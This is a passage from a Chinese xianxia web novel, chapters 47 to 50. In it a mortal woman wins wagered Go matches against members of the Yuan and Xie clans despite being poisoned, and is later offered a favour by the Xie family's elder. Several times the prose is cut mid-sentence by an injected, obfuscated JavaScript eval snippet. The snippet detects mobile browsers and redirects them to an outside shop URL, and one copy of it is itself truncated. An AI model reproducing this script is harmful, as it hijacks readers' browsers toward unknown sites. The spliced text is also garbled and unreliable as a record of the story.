平乐棋坊中间打通,是一个方形天井,赌棋设在第一层,站在高层的内走廊可以将下面的情况一览无余。 一个扎着高马尾的青年走出第六层,俊秀的眉毛不耐烦地皱在一起:“楼下怎么这么吵?” 侍从道:“一楼开了一局赌棋,听说是一个第一层的想要挑战第五层。” “哦?”青年的嘴角勾起来,眼底却一丝笑意也无:“这年头,什么阿猫阿狗也想学她了。” 一楼,青衣侍从走出来,握起铁杵,敲了一下铜钟,清脆的声音蔓延至整个场馆。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304408|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>袁立洲执黑,下在了纵三横三的星位。 李寒筝一边吃着板栗酥,一边漫不经心地下在了纵十七横二的位置。 蠢货,袁立洲心中暗笑,恐怕是围棋的规则都不怎么懂就上来了,洛意怎么会认识这么一个蠢货。 他继续布局星位。 棋者,以正合其势,以权制其敌。故计定于内而势成于外,战未合而算胜者,得算多也。算不胜者,得算少也。 两人的速度都很快,短短时间内就已经相互下了七八手。 赌棋有时间限制,否则一步棋想上一刻钟,岂不上要下上半天,故为了下棋的难度和观棋的刺激性,在棋桌中间放上一个铜漏,水珠每隔五秒往下滴一滴,每步棋只有一滴水的时间,超时则视为让子,而在时限内落子,落子之时水珠便会迅速滴下,方便计时。 四十二子后,袁立洲已经吃了李寒筝三个子,他心下暗讽,正欲落子,突然察觉到一丝不对劲。 白棋看似下得毫无规章,却正在以一种诡妙而缓慢的态势包围住他左上角的一片黑子。 袁立洲抬头看了眼,李寒筝还在吃她那该死的板栗酥,她的注意力全在这个见鬼的板栗酥上,争取不浪费一块残渣,微仰着头吃得小心翼翼。 难道是他的错觉吗?只是碰巧吧?不过是个毫无灵力的凡人,寿命短暂,生若蜉蝣,命如蝼蚁,怎么可能会有这样的心计? 袁立洲落子,谨慎地堵住黑棋的缺口。 李寒筝从板栗酥上分出一眼,下了颗白子,手指上还带着酥皮。她没有继续自己之前的布局,下在了一个完全没有意义的地方。 果然是碰巧吧,袁立洲落下黑子。 然而三步之后,袁立洲感觉自己的棋被粘住了,就像是陷入了一片沼泽之中。他转动目光,看向李寒筝那看似毫无意义的白棋。 这颗白棋像是一只猛虎,环视着四周的黑棋,威风凛凛,万夫莫当,震得周围十几颗黑棋动弹不得。 水滴缓缓落下,袁立洲的冷汗唰地就下来了,他眯起眼睛抬头:“你给我设陷阱?” 李寒筝吃板栗酥的动作一顿,满脸都是“你这个狗玩意在说什么鬼话这不是很正常的操作吗”,她记得赌棋规则里有一条是棋手双方不得交流,以免发生贿赂、威胁等情况,为此棋室中有一棋童维持秩序。 她看向侍立在一旁如同隐形人的棋童,真是气笑了,这人一个字都不说呢。 她又看向结界外的观众,呦,也没什么反应。 敢情谢家在给袁立洲开后门。 李寒筝只好歪了歪头,示意水滴快要滴落。她没有选择说话,因为她猜,谢家的包庇只针对袁立洲,要是她说话,百分百被判罚棋,哪怕她一个凡人根本就威胁不了家大业大的袁立洲。 袁立洲在水珠将将落下的前一秒落下棋子,面色阴沉地快要滴下水来,如果现在还看不出来那他就是真的傻子了,棋局之上,黑棋看似占上风,其实已经是外强中干。 不出意外,五步之内,李寒筝就能把棋局上的形势翻个底。 可是堂堂袁家少家主怎么能输给一个凡人呢? 袁立洲轻轻勾了下唇。 出自医毒世家的人怎么可能身上没有毒。 他佯装思考,转了转手指上的戒指,在侧边的宝石上轻轻摁了下,机括的声音低微得几乎听不见,一阵无色无味的气体悄无声息地冒了出来。 棋案对面的人缓慢地眨了下眼,像是有些困,半撑着额头,手肘支在案上。 成了,袁立洲微笑,他分了个眼神看向结界之外,只像是在活动颈脖。 守在看座上的随从心领神会,找了个借口离席了。 袁立洲好整以暇地往后靠,双手交叠。 现在,就是时间的问题了。 47. 不枉(8) 棋坊第六层。 高马尾青年不耐烦道:“谁来了?” 青衣侍从道:“少爷,是袁少家主身边的随从。” 高马尾青年啧了一声:“真是个麻烦东西,不是给他走后门让他进了第五层么?还要找什么事?真以为棋坊是他们家的?” 侍从有些为难道:“家主吩咐了,需得好好照料这位袁少家主。” 谢家和袁家近年来的生意往来很多,两家交往很密切,虽然高马尾青年打心眼里看不起袁立洲这副无所不用的猖狂卑劣,却也不得不妥协,“我不想见,他要做什么,你看着办吧。” 侍从退下:“是。” * 结界外的观众可谓经历了心情的大起大落,原本等着看李寒筝的笑话,慢慢察觉些不对劲,最后不觉惊叹叫好。甚至有人边解说边嘲讽,最后陡然间夸了起来。 “第一个子就乱下,这是在给袁少爷送钱么?朋友们,大胆猜测一下,这是不是袁少爷的托,啧啧啧,但是找托也不至于找个这么差的呀?” “好了,让我们看,现在这位姑娘下在了黑子的腹地,唉,姑娘人美心善,给人家送棋……让我们恭祝这位姑娘,离找死又进了一步……等等,这是在?漂亮!漂亮的一步棋!神来之笔!” “这步棋实在羚羊挂角,不着痕迹!” 棋势渐渐明朗,如从狭窄小道豁然进入别有洞天,看客们这才反应过来这位年轻的凡人姑娘绝非泛泛之辈,她是在布局。 看客们沉默了,为他们即将失去的钱财和眼前冉冉升起的新星而沉默。 然而,这个时候,局势又发生了垂直的转弯。 凡人姑娘像是在犯困,半撑着额头,眼帘像有千金重,不住地坠下,好几次下棋都是卡着水滴落下的前一秒落下去。 “怎么回事,总也不至于这个时候犯困吧?” “这完全是儿戏,以为局势一片大好就骄傲自满,甚至在犯困!如此傲慢之人,一生都没法在围棋上有成就!” “无所谓,至少我的赌金保住了。” “睁眼看看呢,完全一步烂棋,唉!” “我就说,哪有那么多冉冉升起的新星。” “唉,果真是个普通的凡人。” …… 不对劲,洛意从二楼的看座上站起来,目光一寸寸结冰:“袁立洲绝对下毒了。” 袁期唇角抿平,一眼不错地盯着棋室,下颚线绷得很紧,片刻之后豁然起身,从牙缝中挤出几个字:“寒筝只是个凡人,他竟然下这种毒,不光是要赢,还是要寒筝死!” “这是什么毒?” 袁期声音冷沉:“巫秋散,最开始只是让人精力不济反应迟钝,而后犯困嗜睡,最后在睡梦中悄无声息地死去。” 洛意转身就走:“我去终止这场比赛!” 她方走出一步,袁期捏住她的手臂,“等等。” 洛意拧眉:“等什么?” “你看。” 洛意顺着他的目光看去,李寒筝端坐在棋室内,看着他们的方向,轻轻摇了摇头。 巫秋散是一种极难察觉的毒药,不会在中毒者的外观上表现出来,李寒筝的脸色依旧红润,可是那双大眼睛却失去了往日的神采奕奕。 她摇头,是告诉他们别担心,她有分寸。 洛意下颚绷紧,牙齿磨得作响:“我只等一刻钟,没结束我就砸了这个棋坊,袁立洲竟然敢轻视她,可她是我师兄的夫人,是我洛意的朋友!” 袁期目光沉沉,“也是我的朋友。” 棋室之内,李寒筝慢慢掀起眼睫,看了眼袁立洲,比了个口型:无耻败类。 袁立洲几乎是一瞬间看懂了,手骨捏紧,发出一声爆响。 李寒筝闭了下眼睛。 真的很困,像是几百年没有睡过觉。 铜漏也做了手脚,时间流逝得更慢了。 谢袁两家真是……一丘之貉啊。 在原书中,断生之战是一个很重要的背景点,从头到尾影响了主角团的一生,洛意因父叛敌从小饱受冷眼和嘲讽,裴玉仪因裴家败落不得不在谢家为质六十载,袁期是袁家主和狐妖生下的私生子,自小被排挤针对。 而段梧声,他父母双亡,为洗去这一身血脉承受了许多痛苦折磨。 而谢袁两家却毫发无损,作壁上观。 仙盟是为了抵御魔域而诞生的,在最初的最初,各大世家和门派各自为战,为了利益相互倾轧,如此一盘散沙,人心不齐,面对魔域的进攻相互推诿责任,自然伤亡惨重。 于是某一位家主主动牵头,在暮山组建仙盟,规定所有门派世家的弟子自小就前往暮山学习,此后就算成为各自门派家族的骨干掌事,也会在危机来临之时,顾念昔日同盟之谊,维护仙盟共同的荣耀。 在断生之战中,袁谢两家远离主战场,迟迟不肯派兵增援,始终隔岸观火,面对各大门派送来的求援帖表面称好实际却一推再推。 裴洛段三家遭受重创隐隐败落,谢袁两家则几乎没有什么损失,五大世家也就此走向分歧,谢袁两家隐隐有和仙盟割离之势,暮山明面上是五大世家共同掌管,而实际上只有裴洛段三家共同维持。 李寒筝看向这盘棋,落了一颗白子。 颓败之势骤变,困守愁城的白子最终还是难免一死,却留下了一线生机,新的白子忍辱负重,更具生机和活力,他们将会继承先辈的遗愿,从荆天棘地中杀出一条血路。 * 这一盘棋下了半个时辰。 最终铜铃响时,看客们终于回过神来,一边鼓掌一边擦汗。 无他,这局棋实在是太精彩了,这位凡人姑娘一阵一阵的支楞,下的那叫一个一波三折跌宕起伏,好几次看着是被逼到了悬崖,却又力挽狂澜绝处逢生。 主打一个让心脏七上八下。 棋室的结界打开,对弈的两人还没动,袁立洲一脸阴沉地坐着,李寒筝撑着额头的手脱力,脑袋直接砸了下去。 但是没有砸到棋案,而是被一只手温柔却有力地托住。 洛意手一抬,让李寒筝倒在自己的怀里,左手拢着李寒筝的腰,右手拔剑,剑指袁立洲:“多少年这一套还没变,不下毒你会死是吗?” 此言一出,满场哗然。 “下毒?没道理吧?只是一个凡人而已。” “凡人,呵,这个凡人刚刚可是赢了!” “这可是谢家的棋室,发生什么肯定会被发现的。” “不应当啊,下了毒还赢了?” “这可是洛家的大小姐。” “洛家,就是那个家主叛敌的那个?” …… 议论之声像一个漩涡,整个平乐棋坊都被卷了进来,潮起潮伏,暗流涌动。 “谁敢在谢家的地盘生事?” 一个声音破开满室嘈乱,灌入众人耳中。 高马尾青年从高处跳下来,落在棋室外,他生着一双狭长深邃的眼,眉骨又高,配上锋利的五官轮廓,似笑非笑看人时十足的压迫。 有围观的看客认出来了:“这是谢家的二少爷,谢晋云,弟子辈唯二达到七重阵的人。” 谢晋云抱着双臂,不耐烦地瞥了袁立洲一眼,而后道:“洛大小姐怎么动不动就拔剑?这可不是你们洛家的地盘。” 洛意从来不是被吓大的主,眯着眼睛将来人打量一眼:“原来谢家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323003|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有管事的人,我今天可是开眼了,怎么,只许袁家的人光明正大地下毒,不允许我讨个公道?” 谢晋云再次不耐烦地瞥了眼袁立洲,眉毛拧成一个川字。 他是真的不想管这一烂摊子事,但是老爹和祖父耳提面命必须得维护好和袁家的关系。 怎么偏偏是今天,如果他当值的日子传出了袁立洲这个废物跟一个凡人下棋都得耍手段下毒,那袁家的面子真就是废了。 谢晋云闭了下眼,再睁眼时一片漠然:“你有什么证据?说下毒就下毒,空口白牙造谣?依我看,这事还得查,等我谢家的医师到了再说。” 他的想法是,能拖就拖,已经通知了谢呈,等谢呈那个表里不一的伪君子到了再说。 岂料袁立洲完全没有接他递的台阶,好整以暇地掸掸袖子:“我下毒?” 他指了指旁边的袁期:“这是我家不成器的弟弟,天资聪颖却心术不正,我对他寄予厚望不免严苛了些,他却反过来给自己的兄长下毒,若不是我没有吃螃蟹炒年糕,那么现在中毒的就是我!诸位倘若不信,可去我袁家的驿馆一看,我的两位随从现在还人事不知。” “我念他年幼,选择原谅,他屡屡挑衅,要我同这位凡人姑娘赌棋,我也同意了,否则我袁立洲,堂堂袁家少家主,何必自降身价同一个凡人赌棋?我倒要问问,是他下了什么毒用了什么药,让这位凡人姑娘一夕之间从名不见经传到围棋天才?而利用完之后,现下又选择灭口,诸位不觉得这很可疑吗!” 袁立洲说得理直气壮,字字铿锵,看客们一听,纷纷产生了疑惑。 说到底,他们宁愿相信一个修士能练出让人棋艺瞬间提升的药,也不愿意相信一个凡人竟然如此聪明。 袁期的神色彻底冷下去:“好一个倒打一耙。” 谢晋云两边看了看,他不了解洛意和袁期,但是以他对袁立洲的了解,这事肯定是袁立洲挑起来的。 谢呈怎么还没到? 谢晋云心中烦得很,低声咳了咳,“这件事疑点很多,需要调查之后才能得出结论……” 然而谁都没有听他说的话,嘈杂的声音依旧此起彼伏,直到一道低微的声音轻轻响起。 “我要和你赌棋。” 谢晋云怀疑自己听错了:“什么?” 李寒筝吃了袁期给的解药,已经好了很多,她摇了摇头清醒了点,缓缓站直了身体,一字一句很清晰:“我要和你赌棋。” 虽然这件事从始至终由这个凡人姑娘而起,但是谢晋元却没有认真看过她一眼,因为打心底他就觉得一个凡人而已,无关轻重。 此时他终于看清这个凡人的模样。 很单薄,像一张纸。但是却没有一丝一毫的自轻自贱,目光直白得让人有些不敢直视。 李寒筝淡淡道:“怎么,你不敢吗?” 看客们不知道是该继续怀疑还是震惊这位凡人姑娘的勇敢了。 她怎么敢的呀,这可是第六层,她疯了吗?她要上天吗? 谢晋元最听不得的就是“不敢”两个字,什么能拖就拖什么不要惹是生非,统统都被怒火给烧干净了,他倨傲地挑起下巴:“行啊,赌就赌,你付得起赌金吗?” “我来给她付,”袁期拿出了自己的乌木扇,唰地一声展开,拍在棋案,震得满盘黑白棋子乱跳一地。 他环顾一周,朗声道:“这是我在归墟秘境里拿到的传承,够不够格?” 袁立洲眼中闪过阴鸷。袁期在归墟秘境中拿到传承而他却没有,这是他一直以来心口的一根刺,多次设计陷害,多次下毒污蔑,都是为了这把扇子,而今他却为了一个凡人给赌上去了。 真是可笑。 48. 不枉(9) 乌木扇当然够格,赌棋正式开始。 这一场赌局更加具有看点,谢晋元可是纯正的谢家人,从小修习阵法,谢家弟子辈最具天赋的两人之一。 此外,修仙界里有一个秘而不宣的传统,就是不要惹阵修,因为阵修的心眼比网筛还要多,又很喜欢记仇,惹了阵修之后被下了绊子都不知道。 李寒筝没有用上一局的那些不走寻常路,第一步认认真真下在了星位。 围棋是一门讲究规矩与谋略的学问,既要注重技术方法,又要注重谋略。 谢晋云的路子偏诡谲奇峭,有个“鬼步”之称,和他对弈过的人都说跟他下棋就像跟一个幽灵在下棋,完全不知道他在什么时候出现在你的后方,突然堵死你所有的退路。 李寒筝在这一局里似乎正经了很多,没有吃东西,也没有左顾右盼,她身姿笔挺地端坐,下棋的路数也很稳重,就像一座屹立千年风雨的大山。 两人下棋都很快,一子落下紧跟着就是另一子,清脆的落子声不绝于耳,水滴落下的声音都追不上他们的速度。 各自下了百八十手,看客们正眼花缭乱还没有反应过来,谢晋元却丢了棋子,神色凝重:“我输了。” 李寒筝也丢下棋子,揉了揉太阳穴,客套一句:“承让。” 李寒筝站起身,谢晋元却仍低着头看向棋局。 自入棋坊第六层以来,谢晋云便很少输,他凝神看着棋盘,心中不由得暗暗比较。 可是这手棋风不像那个人,一丝一毫也不像。他从小就观摩那个人的棋风,祖父说他学了有七成。如果是她的棋风,他不会认不出来。 那个人表面上性格跳脱开朗,实际上却心机深沉,下棋也多出奇招,不似这个人,棋风老正,透露出一种不符合年龄的深沉稳重。 他蓦地抬起头,“你师承何人?” 李寒筝没有理他,转身往外走。 这一转身,谢晋云看见了她头发上的浅金色发带,那一抹飘扬的金色,如同一束阳光,飘飘荡荡。 谢晋云瞳孔骤缩,反应过来的时候他已经跳起来,捏住了李寒筝的肩膀,一字一字透着刻骨的寒意:“谁准许你戴浅金色发带了?” 李寒筝毕竟只是凡人之身,这一下却没有吝惜力道,李寒筝当下闷哼了一声,忍不住发出了一句经典的疑问。 “你没事吧?” 此时结界已开,洛意一掌拍落谢晋云的手,讥讽道:“愿赌就要服输,你是疯狗吗?到处乱咬人。” 谢晋云没有理会这句嘲讽,只是死死地盯着李寒筝头发上的浅金色发带:“你给我摘下来!” 他几乎是吼出了这句话,眼睛都泛上了红。 李寒筝被吼得抖了一下。 有病就吃点药呢?红眼病也是病啊,不要讳疾忌医啊喂。 下一秒,风暴骤起,谢晋云双手交叠掐诀,繁复的阵法在他两掌之间迅速生长完善,没入地面,下一秒,无数粗壮藤蔓拔地而起,缠住了洛意的手脚。 这一变故震惊了在场所有人。 袁期首先反应过来,拉过李寒筝往后一推,同时召出乌木扇往前一挥:“快跑!” 乌木扇掀起飓风,整个棋坊都在震颤,为了美观,棋坊的窗户都用洁白的宣纸装裱,此时宣纸破裂之声连连爆响,如同暴雨倾落。 洛意掀起眼皮:“我真的生气了。” 她打了个响指,火焰笼罩住半个身体,缠绕上来的藤蔓瞬间被烧成飞灰,她从火焰中迈出一步,提剑挥出。 另一道阵法骤然亮起,无数淡蓝色的锁链凭空出现,牢牢锁住她的腰身,寸步不得进。 “七重阵么,真是够麻烦的。” “重”指的是个数,重数越多,能够同时掌控的阵数越多,但并不是什么阵法都能够算作“重”,阵法的难度从高到低分为甲乙丙三级,每级又分上中下,只有所有重都达到“甲上”,才能称为“重阵”。 洛意笑了下,笑容极冷:“虽然我平时喜欢用剑,但我最擅长的可是符。” 话落,洛意掰了掰手腕,衣袖翻飞间,十道符如同破空之剑飞迸而出。 与此同时,阵法已经追上了李寒筝,分出无数藤蔓缠住了她的双腿,往前的步伐受阻,冲势却不减,带着李寒筝往前倾去,浅金色的发带如同蝶翼,在空中飞舞。 一切都好像梦境重演,浅金色发带不断坠落。 谢晋云瞳孔骤缩,伸出了手,拼命地往前够。 然而一道阻力挡住了他的动作。 裴玉仪突然出现在了这里,长身玉立,有如天降,一手捞住往前倒的李寒筝,一手握住重山剑柄,眼也不眨地反手挥出一道灼热的刀光。 这刀光烈烈如火,砍碎了谢晋元的阵法和洛意愤怒之下挥出的十张符,暴虐至极,却又控制得无比精细,棋坊的地板看着锃亮好看,实际上却无比脆弱,脚步稍微重一点都要留个痕,然而这一手刀光,却没有擦出一点痕迹。 裴玉仪肃声开口:“仙盟规定,有凡人在场,不得动用术法,你们全都忘记了?” 洛意这才恢复理智,看着被毁坏的场馆和躲在角落瑟瑟发抖的仆役,蔫嗒嗒地低头认错:“师姐,我错了。” 谢晋云也意识到自己过了,闭住仍旧赤红的双眼,在原地呼哧呼哧喘着气。 此时,平乐棋坊的大门口,逆光缓缓走出一个人。 这人身姿清越,容貌雅致,笑容疏而冷:“发生何事了?” 他用目光缓缓环视一圈,明明是平视,却给人一种站在高处掌控全局的倨傲,最后看向了谢晋云:“晋云?” 显然他已经从侍从那里知道了一切,便没有再问,目光轻而飘地落在李寒筝身上,端出一幅温和的笑容:“此事是我谢家处理不当,这里我代表谢家向姑娘道歉,并且为姑娘准备了一些赔礼,稍后会送去姑娘的住所。” 他这一番话滴水不漏,轻飘飘地将事情定了性,然后翻过去。 正是谢家少家主——谢呈。 看客们早就在方才打斗的时候跑光了,棋坊内乱七八糟,地上纵横交错着剑痕,桌椅斜的斜,倒的倒,瓜果茶水脏乱地铺了满地。 裴玉仪转过身,平静道:“调查都没有进行,凭何就这样草草了事?” 袁立洲从角落中走出,袁家的人善毒药,却不是很擅长应付这种打斗的场面,他旁观了一场乱斗,意识到洛意这个疯子根本没有变,简直和许多年前一样疯。 他心中本慌乱至极,意欲趁乱离开,此刻听谢呈这番话,突然镇静了下来,清了清嗓子,忍不住露出了点小人得志的喜悦:“是啊,调查都没有进行,怎么能就这么结束呢?我可是被冤枉得好惨!” 然而没人去听袁立洲的聒噪。 谢呈无奈地笑了下,温和地看着裴玉仪,像是在包容一个执意要闹的小孩子:“玉仪,既然你想调查,那便调查吧。” * 但是很显然,谢家早就把证据给抹去了,裴玉仪领着太常司的弟子查了半个时辰,仍旧一无所获。 谢呈将裴玉仪因搜查证据而脏污的手拢在手心,抖开一块名贵而柔软的帕子,仔细地一根根擦拭过去。 “玉仪,现在你总该相信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“哦?”谢呈的双手骤然一空,他缓慢收起帕子,而后瞥来一眼,打量着眼前的这个凡人女孩,似笑非笑:“你确定?” “当然!” 谢呈睨了眼她怀中的一扇一剑一伞,微笑道:“还不够。” 李寒筝倒抽一口气,有些尴尬地用手遮住半张脸,歪头往后看,努了努嘴,意思是:还不够,再凑点。 袁期叹了口气,从储物囊里掏出一堆瓶瓶罐罐,狠狠心,又扯了左耳上的红缨耳饰。 洛意捂脸片刻,解了腰间的玉佩,拔了头发上的簪子,又掏出了一堆符箓。 两人很心酸地在那里拼拼凑凑。 然而此时,一样细长而冰冷的物事落在了李寒筝的怀里。 李寒筝转过头。 裴玉仪的侧脸平静无波:“这样够不够?” 谢呈看好戏的神情终于裂开,目光里出现一丝不可置信:“裴玉仪,这可是你父亲传给你的刀,若是输了出去,你叔父会怎么样,你是知道的。” 落在李寒筝怀里的,正是重山。 “我知道,”裴玉仪看着谢呈,突然笑了下,“怎么,你不敢吗?” 谢呈深深看了裴玉仪一眼:“你还是这么任性,也该得些教训。成亲之时,这把刀我做聘礼还你,希望你已经想好和裴伯父怎么解释。” 说罢,他拂袖往前走。 侍从上前一步,对李寒筝道:“公子这是同意了,姑娘,请吧。” 李寒筝切了一声:“好装。” 她倒退着往前走,挥挥手,笑容灿烂:“等我的好消息,我一定会赢的。” 49. 不枉(10) 谢家的规矩,外姓人若挑战第七层,那么整个棋局过程将会全程封闭,不得有人围观。 同时,为了确保没有作弊,对弈双方将会进入真言阵下棋。所谓真言阵,就是防止作弊的阵法。 袁期望着李寒筝消失的方向,捂住了心口:“如果乌木扇没了,那我的心也跟着没了。” 洛意幽幽道:“你只是心没了,我的剑是我姑姑花了十年锻成的,叫做濯冰,如果剑没了,那我的命也就没了,我会被我姑姑活活打死的。” 袁期用余光轻轻瞥了眼坐在一旁的裴玉仪。 谢家的场面活向来滴水不漏,一刻钟内打扫好残局,备好了热茶和水果点心,轻声细语地请他们坐下来等待。 裴玉仪捧着一杯热茶,静静垂着眼睫,洛意时不时说几句,她皆都正常应答,没有任何反常的样子。 但他莫名觉得,自从谢呈出现开始,裴玉仪就不开心了。 世人皆道,谢呈仙姿玉质,天赋卓绝,家世出众,实乃良配。 可是玉仪……她好像不愿意。 * 隔扇门再次打开已经是半个时辰后,出来的却不是李寒筝,而是一个提着灯笼的青衣侍者。 侍者伸出手掌往左侧请:“诸位请随我来。” 另有一名青衣侍者走到袁立洲身前,低声说了些什么,袁立洲的神色细微一变,不甘地看过来一眼。 只要袁立洲吃瘪,洛意便高兴。几人跟着青衣侍者穿庭过廊,到了平乐棋坊的后门,门外是一条寂静的小巷,台阶下停着一辆马车。 天色已经黯淡下来,车厢外的杏色帷幔卷着风飒飒作响,车帘掀开,李寒筝探出头来,招招手,“他们说要免费送我们回去耶。” 几人进入车厢之后,马车辚辚驶动,车夫一身黑衣,玄铁护腕,前襟衣摆是谢家特有的北斗徽纹。 洛意接过自己的剑,挑眉:“赢了?” 李寒筝将乌木扇递给袁期,耸了下肩:“没有。” 袁期手里转着乌木扇,挑起一边眉:“输了?” 李寒筝再次耸肩:“怎么可能?我诶,我怎么可能会输呢?” “不赢不输,打什么哑谜,”洛意脾气暴躁地一手勒过李寒筝的脖子,用剑柄挑起她的下巴:“快点说。” 李寒筝顺势躺进洛意的怀里,不知道从哪里摸出一碟子杏仁酥,往嘴里丢了一颗:“下到一半,有一个白头发青年走过来,说这局中止,作为补偿,他许给我一个承诺。” * “老祖,你为何不让我继续下下去?” 谢呈看向坐在太师椅中的青年。 青年靠在椅背,穿着淡青色的广袖长袍,一头银白色的长发用白色的玉簪半挽,余下的全部都披散在双肩。他生着一副清冷的好样貌,眉眼精致,是那种精雕细琢都嫌匠气的精致,浑身的气质如仙如雪,望之高不可攀。 此人正是实实在在的十一境尊者,谢家老祖谢怀。 谢家老祖饮了一口茶,指了指下到一半的棋局,“因为你一定会输。” 谢呈盯着棋盘许久,没有出声。 谢家老祖淡淡道:“小呈,你是不是不服?” “不敢。” 谢家老祖捧着茶碗,手指在棋盘上一处不起眼的地方点了点,“如何?” 谢呈的目光落在那处,他是个聪明人,一点就通,几乎是瞬间,一动不动的棋局在他的脑海里飞速变化,白棋黑棋交锋,黑棋沉稳老道,白棋变化诡谲,种种演变最后通往一条结局。 黑棋获胜。 谢呈的手指蜷了蜷,“我让您失望了。” 谢家老祖淡然开口:“听说晋云也输了,你们两个人,都喜欢学她的棋路,以为那便是最好的。但却只学了形,没有借到魂。” 谢呈低下头:“对不起老祖,惹起您的伤心事了。” “原来这算是伤心事么?”谢家老祖沉默半晌,目光复又回到棋盘上,“听说执黑棋的小姑娘是个凡人?” “不错。” “可惜是个凡人。”谢家老祖良久凝视着棋盘,忽而道:“将那个小姑娘今日下的所有棋复原出来,交给我看。” 谢呈道了句“是”,顿了顿,犹豫道:“她只是一个凡人,为什么您要许她一个承诺?” 谢家老祖已经将头转回去,银白色的长发垂落脸侧,愈发衬得他的侧脸如玉般完美无瑕,他声音清冷地开口:“有志气有才华的年轻人,总要给她一条路,让她闯一闯。” * “不出意料的话,这个白头发青年就是谢家老祖,老天,他竟然肯许你一个承诺,真是疯狂。” 袁期惊讶的同时,忍不住吐槽:“你到底从哪里摸过来的杏仁酥?” “从棋室摸过来的呗,谢呈又不吃,我这是帮他解决难题。”李寒筝拈着半块杏仁酥往嘴里丢。 袁期忍不住想了想那个画面,剑拔弩张气氛凝重的棋室内,李寒筝大大咧咧挂着一幅无所谓的笑容,指了指旁边的杏仁酥:“我吃一点,你不介意吧?” 谢呈那个时候的表情一定很有意思。 李寒筝含含糊糊开口:“你们说我要什么比较好呢?” 毫无疑问的是,谢家作为仙门大族,一定藏有许多奇珍异宝。当人没有选项的时候,往往得到一点就无比开心,当人有了选项的时候,就会开始比较,假如没有选到最好的,就会觉得自己错失了一座金山。 李寒筝就处于这种心态,颇为纠结地皱起了眉头。 裴玉仪思索了番:“或许你可以试着去慈融塔挑一件。” 李寒筝眨了眨眼睛:“慈融塔?” “就是谢家的藏宝库,由谢序宁全权主管建造而成,听说藏着不少好东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374627|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”考虑到李寒筝对仙门的事情几乎都是一片空白,袁期补充了句:“就是今天在客栈里说的谢序宁,长得青面獠牙那个,虽然她死了,但是听说她的法宝珍奇都藏在了慈融塔。” “一派胡言。”车帘外传来一道冷淡的声音。 洛意“哗”地扯开车帘,“谢晋云,你怎么在这里?” 车夫不知何时已经换了个人,一身束腰黑衣几乎融入夜色,一腿垂落,一腿弯起,压着斗笠,露出半边轮廓深刻的侧脸,正是谢晋云。 他挑起一点斗笠,没有解释为何在此,黝黑眼珠里蕴着一点烦躁:“你那个卷轴上的东西跟谢序宁一点关系都没有,这些人都是为了卖钱瞎画一通。” 袁期双手抱臂:“你怎么知道?” 谢晋云转过视线,声线冷淡:“潮海城中每年三月三上巳节,年轻男女之间互赠鲜花以表情意,按照习俗,当天晚上所有年轻男女都不会关窗,若有爱慕的人,便漏夜不睡,往心上人的窗中投递一只鲜花,清晨起时,谁的房间里鲜花最多,谁就是最受欢迎的人。而谢序宁……” 他说起这个名字的时候顿了一下,才继续往下道:“她每一年上巳日起床,整个房间几乎被鲜花淹没。” 李寒筝听得呛了一下:“这么夸张?” 谢晋云哼了一声,将唇紧紧抿上,显见得不想继续说下去。 洛意问道:“那你为什么在这里?” 谢晋云吐出一口气,目光在李寒筝身上略停了一停:“为了提醒你一件事。” 李寒筝指了指自己:“我?” “对,就是你。” 李寒筝脑袋上有一缕呆毛翘起来,嘴边都是杏仁酥的渣,谢晋云拧着眉,真是怀疑自己为什么会输给一个这样的人。 他刻意忽略掉李寒筝头发上的浅金色发带,开口道:“老祖答应给你的承诺,你需得好好考虑。你是一个凡人,毫无修行天赋,换做任何仙门,都不可能收你,除了谢家。” 洛意:“……”挖墙脚挖到暮山来了? 谢晋云接着道:“你的棋艺不错,在平乐棋坊将会大有可为,甚至名扬天下,加入谢家,是你最好的选择。先不要着急拒绝,你好好考虑几天,老祖的承诺随时都可以兑现……” 他话还没有说完,便听见李寒筝声音清脆地开口:“我拒绝。” 谢晋云第一个反应竟然是她终于把东西吃完了,口齿这么清楚地说话。 随即他才反应过来李寒筝说了什么,拧眉道:“为什么?” “我有夫君的,”李寒筝撑着下巴笑:“我家夫君姓段,叫做段梧声。” 谢晋云并没有质疑段梧声为什么会娶一个凡人,而是再次皱眉:“依靠一个男人,到底不如依靠自己,你确定不再想一想吗?” “我确定,我的夫君很喜欢我,对我很好,我想永远待在他身边。” 50. 